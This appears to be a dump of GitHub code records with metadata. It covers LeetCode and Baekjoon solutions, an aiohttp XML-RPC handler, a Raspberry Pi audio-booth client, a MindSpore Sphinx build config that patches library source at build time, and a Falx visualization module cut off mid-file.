[[poured]]\n\n for i in range(query_row + 1):\n # add the next row\n tower.append([0] * (i + 2))\n\n # count for the first glass in a row\n tower[-1][0] = max((tower[-2][0] - 1) / 2, 0)\n tower[-1][-1] = max((tower[-2][-1] - 1) / 2, 0)\n\n # traverse through all glasses in a row except for the first one\n for i in range(1, len(tower[-1]) - 1):\n tower[-1][i] = max((tower[-2][i - 1] - 1) / 2,\n 0) + max((tower[-2][i] - 1) / 2, 0)\n\n return min(tower[query_row][query_glass], 1)\n","repo_name":"dyaroshevych/leetcode","sub_path":"python/0799. Champagne Tower.py","file_name":"0799. Champagne Tower.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"5102653240","text":"import asyncio\nimport inspect\nimport logging\nfrom abc import ABCMeta\nfrom types import MappingProxyType\n\nfrom aiohttp.web import HTTPBadRequest, HTTPError, Response, View\nfrom lxml import etree\n\nfrom . import exceptions\nfrom .common import awaitable, py2xml, schema, xml2py\n\n\nlog = logging.getLogger(__name__)\n\n\n# noinspection PyUnresolvedReferences\nclass XMLRPCViewMeta(ABCMeta):\n def __new__(cls, clsname, superclasses, attributedict):\n mapping_key = \"__method_arg_mapping__\"\n allowed_key = \"__allowed_methods__\"\n attributedict[mapping_key] = dict()\n attributedict[allowed_key] = dict()\n\n for superclass in superclasses:\n attributedict[mapping_key].update(\n getattr(superclass, mapping_key, {}),\n )\n\n attributedict[allowed_key].update(\n getattr(superclass, allowed_key, {}),\n )\n\n instance = super(XMLRPCViewMeta, cls).__new__(\n cls, clsname, superclasses, attributedict,\n )\n\n argmapping = getattr(instance, mapping_key)\n allowed_methods = getattr(instance, allowed_key)\n\n for key in attributedict.keys():\n if not key.startswith(instance.METHOD_PREFIX):\n continue\n\n # Get the value of the corresponding function\n value = getattr(instance, key)\n\n method_name = getattr(value, \"__xmlrpc_name__\", None)\n if method_name is None:\n method_name = key.replace(instance.METHOD_PREFIX, \"\", 1)\n\n allowed_methods[method_name] = key\n\n # Add the arg mapping in all cases\n argmapping[method_name] = inspect.getfullargspec(value)\n\n setattr(\n instance,\n mapping_key,\n MappingProxyType(argmapping),\n )\n\n setattr(\n instance,\n allowed_key,\n MappingProxyType(allowed_methods),\n )\n\n return instance\n\n\nclass XMLRPCView(View, metaclass=XMLRPCViewMeta):\n METHOD_PREFIX = \"rpc_\"\n DEBUG = False\n THREAD_POOL_EXECUTOR = None\n\n async def post(self, *args, **kwargs):\n try:\n xml_response = await self._handle()\n except HTTPError:\n raise\n except Exception as e:\n xml_response = self._format_error(e)\n log.exception(e)\n\n return self._make_response(xml_response)\n\n @classmethod\n def _make_response(cls, xml_response, status=200, reason=None):\n response = Response(status=status, reason=reason)\n response.headers[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\n xml_data = cls._build_xml(xml_response)\n\n log.debug(\"Sending response:\\n%s\", xml_data)\n\n response.body = xml_data\n return response\n\n async def _parse_body(self, body):\n loop = asyncio.get_event_loop()\n try:\n return await loop.run_in_executor(\n self.THREAD_POOL_EXECUTOR,\n self._parse_xml,\n body,\n )\n except etree.DocumentInvalid:\n raise HTTPBadRequest\n\n # noinspection PyUnresolvedReferences\n def _lookup_method(self, method_name):\n if method_name not in self.__allowed_methods__:\n raise exceptions.ApplicationError(\n \"Method %r not found\" % method_name,\n )\n\n return awaitable(getattr(self, self.__allowed_methods__[method_name]))\n\n def _check_request(self):\n if \"xml\" not in self.request.headers.get(\"Content-Type\", \"\"):\n raise HTTPBadRequest\n\n async def _handle(self):\n self._check_request()\n\n body = await self.request.read()\n xml_request = await self._parse_body(body)\n\n method_name = xml_request.xpath(\"//methodName[1]\")[0].text\n method = self._lookup_method(method_name)\n\n log.info(\n \"RPC Call: %s => %s.%s.%s\",\n method_name,\n method.__module__,\n method.__class__.__name__,\n method.__name__,\n )\n\n args = list(\n map(\n xml2py,\n xml_request.xpath(\"//params/param/value\"),\n ),\n )\n\n kwargs = {}\n argspec = self.__method_arg_mapping__[method_name]\n if argspec.varkw or argspec.kwonlyargs and isinstance(args[-1], dict):\n kwargs = args.pop(-1)\n\n result = await method(*args, **kwargs)\n return self._format_success(result)\n\n @staticmethod\n def _format_success(result):\n xml_response = etree.Element(\"methodResponse\")\n xml_params = etree.Element(\"params\")\n xml_param = etree.Element(\"param\")\n xml_value = etree.Element(\"value\")\n\n xml_value.append(py2xml(result))\n xml_param.append(xml_value)\n xml_params.append(xml_param)\n xml_response.append(xml_params)\n return xml_response\n\n @staticmethod\n def _format_error(exception: Exception):\n xml_response = etree.Element(\"methodResponse\")\n xml_fault = etree.Element(\"fault\")\n xml_value = etree.Element(\"value\")\n\n xml_value.append(py2xml(exception))\n xml_fault.append(xml_value)\n xml_response.append(xml_fault)\n return xml_response\n\n @staticmethod\n def _parse_xml(xml_string):\n parser = etree.XMLParser(resolve_entities=False)\n root = etree.fromstring(xml_string, parser)\n schema.assertValid(root)\n return root\n\n @classmethod\n def _build_xml(cls, tree):\n return etree.tostring(\n tree,\n xml_declaration=True,\n encoding=\"utf-8\",\n pretty_print=cls.DEBUG,\n )\n\n\ndef rename(new_name):\n def decorator(func):\n func.__xmlrpc_name__ = new_name\n return func\n return decorator\n","repo_name":"mosquito/aiohttp-xmlrpc","sub_path":"aiohttp_xmlrpc/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"21"} +{"seq_id":"28662813881","text":"import requests\nimport time\nfrom functions import *\nimport board\nimport neopixel\nimport RPi.GPIO as GPIO\nimport time\nfrom datetime import datetime\nimport json\nimport os\n\npixel_pin = board.D18\nnum_pixels = 52\nORDER = neopixel.GRB\npixels = neopixel.NeoPixel(pixel_pin, num_pixels, brightness=1, auto_write=False,\n pixel_order=ORDER)\n\n# LISTENER SIDE\n# Status List:\n# 1. idle = Initial status, when no one is inside the booth\n# 2. speaker = When the speaker is currently speaking\n# 3. listener = When the speaker has finished speaking, the emotion will\n# be sent to the listener. Listener side will read the emotion\n# and ask for feedback. Speaker side will play a pre-recorded msg\n# 4. feedback = When the listener has finished saying feedback, and its uploaded\n# speaker side will play that feedback and some pre-recorded msg.\n\ndef updateStatus():\n r = requests.get('http://the-untold.herokuapp.com/status')\n return r.json()[0]['status']\n\n \ndef main():\n \n STATUS_LIST = [\"idle\", \"speaker\", \"listener\", \"feedback\"]\n HEROKU_URL = \"http://the-untold.herokuapp.com/status/5cc1ab8dfb6fc0265f2903a3\"\n bucket = 'the-untold'\n \n pixels.fill((255,255,255))\n pixels.show()\n status = ''\n flag = 0\n print(\"status\")\n while status == '':\n try:\n status = updateStatus()\n except:\n print('reconnecting')\n while True:\n #Do infinite loop, catch current status each loop\n \n if status == STATUS_LIST[1]:\n status = updateStatus()\n print(\"LISTENER Speaker currently speaking\")\n pixels.fill((244,100,200))\n pixels.show()\n flag = 0\n time.sleep(2)\n # DO nothing?\n \n elif status == STATUS_LIST[2]:\n print(\"ready to start\")\n if flag == 0 and (GPIO.input(26) == 1):\n print(\"LISTENER Listener currently making a feedback\")\n playAudio('sound/voiceover/9.2.wav', 2)\n r = requests.get('http://the-untold.herokuapp.com/status')\n emotion = r.json()[0]['emotion']\n score = r.json()[0]['score']\n print(\"Speaker is currently feeling {}\".format(emotion))\n flag = 1\n \n if flag == 1 and (GPIO.input(26) == 1):\n print(\"button pressed\")\n print(emotion)\n print(score)\n print(\"CHANGING PIXEL\")\n pixels.fill((244,100,0))\n pixels.show()\n filename = str(datetime.now()) + '.wav'\n playAudio('sound/voiceover/11.1.wav')\n flag = 2\n \n #put if button here\n if flag == 2 and (GPIO.input(26) == 1):\n print('button press')\n time.sleep(1)\n\n record(filename)\n\n uploadFile(bucket, emotion, filename)\n os.remove(filename)\n playAudio('sound/voiceover/13.1.wav')\n #DO record feedback and upload it\n requests.put(HEROKU_URL, json={\n \"status\": STATUS_LIST[3],\n \"emotion\": emotion,\n \"filename\" : filename\n })\n status = updateStatus()\n \n\n time.sleep(2)\n\n elif status == STATUS_LIST[3]:\n print(\"LISTENER feedback is being played by the speaker\")\n status = updateStatus()\n time.sleep(2)\n #DO nothing?\n\n else:\n pixels.fill((0,255,0))\n pixels.show()\n print(\"idling\")\n status = updateStatus()\n time.sleep(2)\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(26,GPIO.IN,pull_up_down = GPIO.PUD_DOWN)\n\nmain()\n","repo_name":"kakioshe/the-untold-listener","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2136963299","text":"# Configuration file for the Sphinx documentation builder.\n#\n# This file only contains a selection of the most common options. For a full\n# list see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Path setup --------------------------------------------------------------\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\nimport os\nimport re\nimport sys\nimport textwrap\nimport shutil\nimport glob\nfrom sphinx.ext import autodoc as sphinx_autodoc\nimport sphinx.ext.autosummary.generate as g\n\nsys.path.append(os.path.abspath('../_ext'))\nsys.path.append(os.path.abspath(\"../_custom\"))\nfrom exhale import graph as exh_graph\n\n# -- Project information -----------------------------------------------------\n\nproject = 'MindSpore'\ncopyright = '2020, MindSpore'\nauthor = 'MindSpore'\n\n# The full version, including alpha/beta/rc tags\nrelease = 'master'\n\n\n# -- General configuration ---------------------------------------------------\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nmyst_enable_extensions = [\"dollarmath\", \"amsmath\"]\nextensions = [\n 'breathe',\n 'exhale',\n 'sphinx.ext.autodoc',\n 'sphinx.ext.autosummary',\n 'sphinx.ext.doctest',\n 'sphinx.ext.intersphinx',\n 'sphinx.ext.todo',\n 'sphinx.ext.coverage',\n 'sphinx.ext.napoleon',\n 'sphinx.ext.viewcode',\n 'myst_parser',\n 'nbsphinx',\n 'sphinx.ext.mathjax',\n 'IPython.sphinxext.ipython_console_highlighting'\n]\n\nsource_suffix = {\n '.rst': 'restructuredtext',\n '.md': 'markdown',\n}\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = []\n\npygments_style = 'sphinx'\n\nautodoc_inherit_docstrings = False\n\nautosummary_generate = True\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = 'sphinx_rtd_theme'\n\nhtml_search_language = 'en'\n\nimport sphinx_rtd_theme\nlayout_target = os.path.join(os.path.dirname(sphinx_rtd_theme.__file__), 'layout.html')\nlayout_src = '../../../../resource/_static/layout.html'\nif os.path.exists(layout_target):\n os.remove(layout_target)\nshutil.copy(layout_src, layout_target)\n\n# Example configuration for intersphinx: refer to the Python standard library.\nintersphinx_mapping = {\n 'python': ('https://docs.python.org/', '../../../../resource/python_objects.inv'),\n 'numpy': ('https://docs.scipy.org/doc/numpy/', '../../../../resource/numpy_objects.inv'),\n}\n\nfrom myautosummary import MsPlatformAutoSummary, MsNoteAutoSummary\n\nsys.path.append(os.path.abspath('../../../../resource/custom_directives'))\nfrom custom_directives import IncludeCodeDirective\n\ndef setup(app):\n app.add_directive('msplatformautosummary', MsPlatformAutoSummary)\n app.add_directive('msnoteautosummary', MsNoteAutoSummary)\n app.add_directive('includecode', IncludeCodeDirective)\n\n# Modify regex for sphinx.ext.autosummary.generate.find_autosummary_in_lines.\ngfile_abs_path = os.path.abspath(g.__file__)\nautosummary_re_line_old = r\"autosummary_re = re.compile(r'^(\\s*)\\.\\.\\s+autosummary::\\s*')\"\nautosummary_re_line_new = r\"autosummary_re = re.compile(r'^(\\s*)\\.\\.\\s+(ms[a-z]*)?autosummary::\\s*')\"\nwith open(gfile_abs_path, \"r+\", encoding=\"utf8\") as f:\n data = f.read()\n data = data.replace(autosummary_re_line_old, autosummary_re_line_new)\n exec(data, g.__dict__)\n\n# Modify default signatures for autodoc.\nautodoc_source_path = os.path.abspath(sphinx_autodoc.__file__)\nautodoc_source_re = re.compile(r'stringify_signature\\(.*?\\)')\nget_param_func_str = r\"\"\"\\\nimport re\nimport inspect as inspect_\n\ndef get_param_func(func):\n try:\n source_code = inspect_.getsource(func)\n if func.__doc__:\n source_code = source_code.replace(func.__doc__, '')\n all_params_str = re.findall(r\"def [\\w_\\d\\-]+\\(([\\S\\s]*?)(\\):|\\) ->.*?:)\", source_code)\n if \"@classmethod\" in source_code:\n all_params = re.sub(\"(self|cls)(,|, )?\", '', all_params_str[0][0].replace(\"\\n\", \"\"))\n else:\n all_params = re.sub(\"(self)(,|, )?\", '', all_params_str[0][0].replace(\"\\n\", \"\"))\n return all_params\n except:\n return ''\n\ndef get_obj(obj):\n if isinstance(obj, type):\n return obj.__init__\n\n return obj\n\"\"\"\n\nwith open(autodoc_source_path, \"r+\", encoding=\"utf8\") as f:\n code_str = f.read()\n code_str = autodoc_source_re.sub('\"(\" + get_param_func(get_obj(self.object)) + \")\"', code_str, count=0)\n exec(get_param_func_str, sphinx_autodoc.__dict__)\n exec(code_str, sphinx_autodoc.__dict__)\n\nsys.path.append(os.path.abspath('../../../../resource/sphinx_ext'))\nimport anchor_mod\n\n# Tell sphinx what the primary language being documented is.\n# primary_domain = 'cpp'\n\n# Tell sphinx what the pygments highlight language should be.\n# highlight_language = 'cpp'\n\n# Setup the breathe extension\nbreathe_projects = {\n \"My Project\": \"./doxyoutput/xml\"\n}\n\nbreathe_default_project = \"My Project\"\n\n\ndef specificationsForKind(kind):\n '''\n For a given input ``kind``, return the list of reStructuredText specifications\n for the associated Breathe directive.\n '''\n # Change the defaults for .. doxygenclass:: and .. doxygenstruct::\n if kind == \"class\":\n return [\n \":members:\",\n \":no-link:\",\n # \":protected-members:\",\n # \":private-members:\"\n ]\n else:\n return []\n\n\n# Use exhale's utility function to transform `specificationsForKind`\n# defined above into something Exhale can use\n\nfrom exhale import utils\n\nexhale_args = {\n ############################################################################\n # These arguments are required. #\n ############################################################################\n \"containmentFolder\": \"./generate\",\n \"rootFileName\": \"library_root.rst\",\n \"rootFileTitle\": \"Library API\",\n \"doxygenStripFromPath\": \"..\",\n ############################################################################\n # Suggested optional arguments. #\n ############################################################################\n \"createTreeView\": True,\n \"exhaleExecutesDoxygen\": True,\n \"exhaleUseDoxyfile\": False,\n \"verboseBuild\": False,\n \"exhaleDoxygenStdin\": textwrap.dedent(\"\"\"\n INPUT = ../include\n INPUT_FILTER = \"python3 ../lite_api_filter.py\"\n EXTRACT_ALL = NO\n FILE_PATTERNS = *.h\n EXCLUDE_PATTERNS = *schema* *third_party*\n HIDE_UNDOC_CLASSES = YES\n HIDE_UNDOC_MEMBERS = YES\n EXCLUDE_SYMBOLS = operator* GVAR*\n WARNINGS = NO\n ENABLE_SECTIONS = DISPLAY_COMPOUND\n WARN_IF_UNDOCUMENTED = NO\n \"\"\"),\n 'contentsDirectives': False,\n\n ############################################################################\n # HTML Theme specific configurations. #\n ############################################################################\n # Fix broken Sphinx RTD Theme 'Edit on GitHub' links\n # Search for 'Edit on GitHub' on the FAQ:\n # http://exhale.readthedocs.io/en/latest/faq.html\n \"pageLevelConfigMeta\": \":gitee_url: https://gitee.com/mindspore/docs\",\n ############################################################################\n # Individual page layout example configuration. #\n ############################################################################\n # Example of adding contents directives on custom kinds with custom title\n \"contentsTitle\": \"Page Contents\",\n \"kindsWithContentsDirectives\": [\"class\", \"file\", \"namespace\", \"struct\"],\n # Exclude PIMPL files from class hierarchy tree and namespace pages.\n # \"listingExclude\": [r\".*Impl$\"],\n ############################################################################\n # Main library page layout example configuration. #\n ############################################################################\n \"afterTitleDescription\": textwrap.dedent(u'''\n Welcome to the developer reference for the MindSpore C++ API.\n '''),\n # ... required arguments / other configs ...\n \"customSpecificationsMapping\": utils.makeCustomSpecificationsMapping(\n specificationsForKind\n )\n}\n\n# modify source code of exhale.\nexh_file = os.path.abspath(exh_graph.__file__)\n\nwith open(\"../_custom/graph\", \"r\", encoding=\"utf8\") as f:\n source_code = f.read()\n\nexec(source_code, exh_graph.__dict__)\n\n# fix error of extra space for C++ API.\nfrom sphinx.writers import html5 as sphinx_writer_html5\n\nwith open(\"../_custom/sphinx_writer_html5\", \"r\", encoding=\"utf8\") as f:\n source_code = f.read()\n\nexec(source_code, sphinx_writer_html5.__dict__)\n\n# fix position of \"Return\" for C++ API.\nfrom sphinx.builders import html as sphinx_builder_html\n\nwith open(\"../_custom/sphinx_builder_html\", \"r\", encoding=\"utf8\") as f:\n source_code = f.read()\n\nexec(source_code, sphinx_builder_html.__dict__)\n\nimport tarfile\n\n# Copy source files of chinese python api from mindspore repository.\nfrom sphinx.util import logging\nimport shutil\nlogger = logging.getLogger(__name__)\nsrc_dir = os.path.join(os.getenv(\"MS_PATH\"), 'docs/api/lite_api_python_en')\n\nfor i in os.listdir(src_dir):\n if os.path.isfile(os.path.join(src_dir,i)):\n if os.path.exists('./'+i):\n os.remove('./'+i)\n shutil.copy(os.path.join(src_dir,i),'./'+i)\n else:\n if os.path.exists('./'+i):\n shutil.rmtree('./'+i)\n shutil.copytree(os.path.join(src_dir,i),'./'+i)\n\nlite_dir = './mindspore_lite'\nif os.path.exists(lite_dir):\n shutil.rmtree(lite_dir)\n\nimport mindspore_lite\n\ndes_sir = \"../include\"\nif os.path.exists(des_sir):\n shutil.rmtree(des_sir)\n\nlite_package_path=os.getenv(\"LITE_PACKAGE_PATH\", \"null\")\nif lite_package_path == \"null\":\n print(\"LITE_PACKAGE_PATH: This environment variable does not exist\")\n print(\"End of program\")\n quit()\nheader_path = lite_package_path.split(\"/\")[-1].split(\".tar\")[0]\nsave_path = \"../\"\nos.makedirs(save_path, exist_ok=True)\nt = tarfile.open(lite_package_path)\nnames = t.getnames()\nfor name in names:\n t.extract(name, save_path)\nt.close()\n\nsource_path = \"../\" + header_path + \"/\"\nsource_runtime_include = os.path.join(source_path, \"runtime/include\")\ntarget_runtime_include = \"../include/runtime/include\"\nshutil.copytree(source_runtime_include, target_runtime_include)\n\nsource_converter_include = os.path.join(source_path, \"tools/converter/include\")\ntarget_converter_include = \"../include/converter/include\"\nshutil.copytree(source_converter_include, target_converter_include)\n\nshutil.rmtree(\"../include/runtime/include/schema\")\nshutil.rmtree(\"../include/runtime/include/third_party\")\nshutil.rmtree(\"../include/converter/include/schema\")\nshutil.rmtree(\"../include/converter/include/third_party\")\nshutil.rmtree(\"../include/converter/include/api\")\n\nprocess = os.popen('pip show mindspore|grep Location')\noutput = process.read()\nprocess.close()\nmindspout = output.split(\": \")[-1].strip()\nsource_dataset_dir = mindspout + \"/mindspore/include/dataset/\"\nfor file_ in os.listdir(source_dataset_dir):\n target_dataset_dir = \"../include/runtime/include/dataset/\"\n shutil.copy(source_dataset_dir+file_, target_dataset_dir)\n\nfor file_ in os.listdir(\"./api_cpp\"):\n if file_.startswith(\"mindspore_\") and file_ != 'mindspore_dataset.rst':\n os.remove(\"./api_cpp/\"+file_)\n\nfileList = []\nfor root, dirs, files in os.walk('../include/'):\n for fileObj in files:\n fileList.append(os.path.join(root, fileObj))\n\nfor file_name in fileList:\n file_data = ''\n with open(file_name, 'r', encoding='utf-8') as f:\n for line in f:\n line = line.replace('enum class', 'enum')\n file_data += line\n with open(file_name, 'w', encoding='utf-8') as p:\n p.write(file_data)\n\nfor file_name in fileList:\n file_data = ''\n with open(file_name, 'r', encoding='utf-8') as f:\n for line in f:\n line = re.sub('^enum', 'enum class', line)\n file_data += line\n with open(file_name, 'w', encoding='utf-8') as p:\n p.write(file_data)\n\nfor file_name in fileList:\n file_data = ''\n with open(file_name, 'r', encoding='utf-8') as f:\n data = f.read()\n data = re.sub(r'/\\*\\*([\\s\\n\\S]*?)\\*/', '', data)\n with open(file_name, 'w', encoding='utf-8') as p:\n p.write(data)\n\n# for file_name in fileList:\n# file_data = ''\n# with open(file_name, 'r', encoding='utf-8') as f:\n# for line in f:\n# line = line.replace('MS_API', '')\n# line = line.replace('MS_CORE_API', '')\n# line = line.replace('MIND_API', '')\n# line = line.replace('MS_DECLARE_PARENT', '')\n# file_data += line\n# with open(file_name, 'w', encoding='utf-8') as p:\n# p.write(file_data)\n\n# fileList1 = []\n# for root1, dirs1, files1 in os.walk('../include/converter/'):\n# for fileObj1 in files1:\n# fileList1.append(os.path.join(root1, fileObj1))\n\n# for file_name1 in fileList1:\n# file_data1 = ''\n# with open(file_name1, 'r', encoding='utf-8') as f:\n# for line1 in f:\n# line1 = re.sub(r'enum class (.*) :', r'enum class \\1_converter :', line1)\n# file_data1 += line1\n# with open(file_name1, 'w', encoding='utf-8') as p:\n# p.write(file_data1)\n\n# fileList2 = []\n# for root2, dirs2, files2 in os.walk('../include/runtime/'):\n# for fileObj2 in files2:\n# fileList2.append(os.path.join(root2, fileObj2))\n\n# for file_name2 in fileList2:\n# file_data2 = ''\n# with open(file_name2, 'r', encoding='utf-8') as f:\n# for line2 in f:\n# line2 = re.sub(r'enum class (.*) :', r'enum class \\1_runtime :', line2)\n# file_data2 += line2\n# with open(file_name2, 'w', encoding='utf-8') as p:\n# p.write(file_data2)\n\nsys.path.append(os.path.abspath('../../../../resource/search'))\nimport search_code\n","repo_name":"mindspore-ai/docs","sub_path":"docs/lite/api/source_en/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":14594,"program_lang":"python","lang":"en","doc_type":"code","stars":154,"dataset":"github-code","pt":"21"} +{"seq_id":"37496182176","text":"#Baekjoon 2529\nimport sys, copy\ninput = sys.stdin.readline\n\ndef dfs(lst, i):\n global sign\n global minVal, maxVal, minValS\n\n if i >= len(sign):\n num = int(''.join(list(map(str, lst))))\n if minVal > num:\n minVal = num\n minValS = ''.join(list(map(str, lst)))\n maxVal = max(maxVal, num)\n return\n \n for j in range(10):\n temp = copy.deepcopy(lst)\n if j in lst:\n continue\n else:\n if sign[i] == '<':\n if lst[-1] < j:\n temp.append(j)\n dfs(temp, i+1)\n elif sign[i] == '>':\n if lst[-1] > j:\n temp.append(j)\n dfs(temp, i+1)\n return\n\nif __name__ == '__main__':\n k = int(input())\n sign = list(input().rstrip().split())\n \n maxVal = 0\n minVal = 10000000000\n minValS = ''\n \n for i in range(10):\n lst = []\n lst.append(i)\n dfs(lst, 0)\n \n print(maxVal)\n print(minValS.rstrip())","repo_name":"meoldae/Algorithm","sub_path":"Boj/Python/부등호.py","file_name":"부등호.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26829815521","text":"import requests, json\n\nimage_url = 'https://i.pinimg.com/736x/b1/4b/4f/b14b4f6b5d4c7d7c4afe6c8e5c6887c7.jpg'\n\nresponse = requests.get(image_url)\n\nwith open(\"image/test.jpg\", 'wb') as file:\n file.write(response.content)\n\nprint(response)\n","repo_name":"zurg4500/python27-mini-projects","sub_path":"parsing/parse_images.py","file_name":"parse_images.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18727021819","text":"import json\nimport copy\nfrom pprint import pprint\n\nimport itertools\n\nimport numpy as np\n\nfrom falx.symbolic import SymTable, SymVal\nfrom falx.utils import table_utils\n\nfrom falx.visualization import visual_trace\nfrom falx.visualization.visual_trace import BarV, BarH, Point, Line, Area, Box\n\ndef remove_unused_fields(data):\n # remove fields that contain none values\n unused_fields = [key for key in data[0] if all([r[key] is None for r in data])]\n for r in data:\n for k in unused_fields:\n r.pop(k)\n return unused_fields\n\ndef get_channel_value(encodings, channel, r):\n \"\"\" Given encodings e, \n return the value in the tuple r that maps to the channel c\n \"\"\"\n return r[encodings[channel].field] if channel in encodings else None\n\nclass VisDesign(object):\n \"\"\"Top level visualization construct \"\"\"\n def __init__(self, data, chart):\n # data can either be a list of tables (for layered chart) or a single table\n # each table is a list of named tuples:\n # e.g. [{\"a\": 1, \"b\": 2, \"c\": 100},\n # {\"a\": 2, \"b\"; 5, \"c\": 15}]\n # is a table with 3 columns \"a\", \"b\", \"c\" and two rows\n self.data = data\n self.chart = chart\n\n def to_vl_obj(self):\n \"\"\"generate vl obj from the vis design\"\"\"\n chart_obj = self.chart.to_vl_obj()\n if isinstance(self.chart, LayeredChart):\n # in this case, the data section is a list of tables\n # we combine them into one table to feed to the database\n combined_data = []\n for i, layer_data in enumerate(self.data):\n for r in layer_data:\n new_r = copy.copy(r)\n new_r[\"layer_id\"] = i\n combined_data.append(new_r)\n chart_obj[\"data\"] = {\"values\": combined_data}\n else:\n chart_obj[\"data\"] = {\"values\": self.data}\n\n return chart_obj\n\n def to_ggplot2(self):\n script = [\n \"library(jsonlite)\",\n \"library(ggplot2)\"\n ]\n data_vars = [\"data_{}\".format(i) for i in range(len(self.data))]\n if isinstance(self.chart, LayeredChart):\n for i in range(len(self.data)):\n script.append(\"{} <- fromJSON('{}')\".format(data_vars[i], json.dumps(self.data[i])))\n script.append(\"{}$row_id <- as.numeric(row.names({}))\".format(data_vars[i], data_vars[i]))\n\n script.append(\"p <- ggplot() + {}\".format(self.chart.to_ggplot2(data_vars)))\n else:\n data_var = \"data\"\n script.append(\"{} <- fromJSON('{}')\".format(data_var, json.dumps(self.data)))\n script.append(\"{}$row_id <- as.numeric(row.names({}))\".format(data_var, data_var))\n script.append(\"p <- ggplot() + {}\".format(self.chart.to_ggplot2(data_var)))\n\n script.append(\"p\")\n\n return script\n\n def to_vl_json(self, indent=4):\n return json.dumps(self.to_vl_obj(), indent=indent)\n\n def eval(self):\n return self.chart.eval(self.data)\n\n def update_field_names(self, mapping):\n \"\"\"Given a mapping between current field names to new field names, \n update all of their occurence\n Args:\n mapping: \n a dict that maps old names to new names if the chart is single layered\n a list of dicts that maps each layer if multi-layered\n Return: None\n it updates names in place\n \"\"\"\n if isinstance(self.chart, (LayeredChart,)):\n assert(isinstance(mapping, (list,)))\n for i, l in enumerate(self.chart.layers):\n for key, e in l.encodings.items():\n try:\n e.field = mapping[i][e.field]\n except:\n pass\n else:\n for key, e in self.chart.encodings.items():\n e.field = mapping[e.field]\n\n @staticmethod\n def inv_eval(vtrace):\n \"\"\"inverse evaluation of a visual trace \n Args: vtrace: a visual trace\n Returns: a list of pairs (table, vis) s.t. vis(table)=vtrace\n The output table is wrapped in a SymTable\n \"\"\"\n res = []\n for data, chart in LayeredChart.inv_eval(vtrace):\n if isinstance(data, (list,)):\n for d in data:\n d.values.sort(key=lambda x: json.dumps(x))\n else:\n data.values.sort(key=lambda x: json.dumps(x))\n res.append((data, chart))\n return res\n\n @staticmethod\n def load_from_vegalite(vl_spec, input_data):\n \"\"\"given a vegalite spec, load the spec into Falx VisDesign object \"\"\"\n\n def get_value(obj, key):\n return obj[key] if key in obj else None\n\n # multi-layered chart\n if \"layer\" in vl_spec:\n data = []\n layer_specs = vl_spec[\"layer\"]\n for lspec in vl_spec[\"layer\"]:\n # note that \"True\" here is a string expression\n pred = lspec[\"transform\"][0][\"filter\"] if \"transform\" in lspec else \"True\"\n data.append(table_utils.filter_table(input_data, pred))\n else:\n data = input_data\n layer_specs = [vl_spec]\n\n layers = []\n for lspec in layer_specs:\n mark_ty = lspec[\"mark\"] if not isinstance(lspec[\"mark\"], (dict,)) else lspec[\"mark\"][\"type\"]\n encodings = [Encoding(channel, get_value(enc, \"field\"), get_value(enc, \"type\"), get_value(enc, \"sort\")) \n for channel, enc in lspec[\"encoding\"].items()]\n if mark_ty == \"bar\":\n orientation = \"horizontal\" if lspec[\"encoding\"][\"y\"][\"type\"] == \"nominal\" else \"vertical\"\n chart = BarChart(encodings, orientation)\n elif mark_ty == \"boxplot\":\n chart = BoxPlot(encodings)\n elif mark_ty == \"area\":\n chart = AreaChart(encodings)\n elif mark_ty == \"line\":\n chart = LineChart(encodings)\n elif mark_ty in [\"point\", \"circle\", \"text\", \"rect\"]:\n chart = ScatterPlot(mark_ty, encodings)\n\n layers.append(chart)\n\n # layered chart will handle load responsibility\n if len(layers) == 1:\n return VisDesign(data, layers[0])\n return VisDesign(data, LayeredChart(layers, resolve=vl_spec[\"resolve\"] if \"resolve\" in vl_spec else None))\n\n\nclass LayeredChart(object):\n def __init__(self, layers, resolve):\n \"\"\"A layered chart, shared encodings contains encodings for all layers. \"\"\"\n self.layers = layers\n self.resolve = resolve\n\n def to_vl_obj(self):\n layer_obj = [l.to_vl_obj() for l in self.layers]\n for i, l in enumerate(layer_obj):\n if isinstance(l[\"mark\"], (dict,)) and \"opacity\" in l[\"mark\"]:\n # opacity for the given chart is already set\n l[\"mark\"][\"opacity\"] = 0.7\n else:\n l[\"mark\"] = {\"type\": l[\"mark\"], \"opacity\": 0.7}\n \n # lines / points can have 1 opacity in multilayered charts\n if l[\"mark\"][\"type\"] in [\"line\", \"circ\", \"point\"]:\n l[\"mark\"][\"opacity\"] = 1\n\n l[\"transform\"] = [{\"filter\": \"datum.layer_id == {}\".format(i)}]\n vl_obj = {\n \"layer\": layer_obj,\n \"resolve\": self.resolve\n }\n return vl_obj\n\n def to_ggplot2(self, data_vars):\n return \" + \".join([layer.to_ggplot2(data_var=data_vars[i],alpha=0.5) for i, layer in enumerate(self.layers)])\n\n def eval(self, data_list):\n \"\"\"obtain elements in each layer and put them together. \"\"\"\n result = []\n for data, layer in zip(data_list, self.layers):\n result += layer.eval(data)\n return 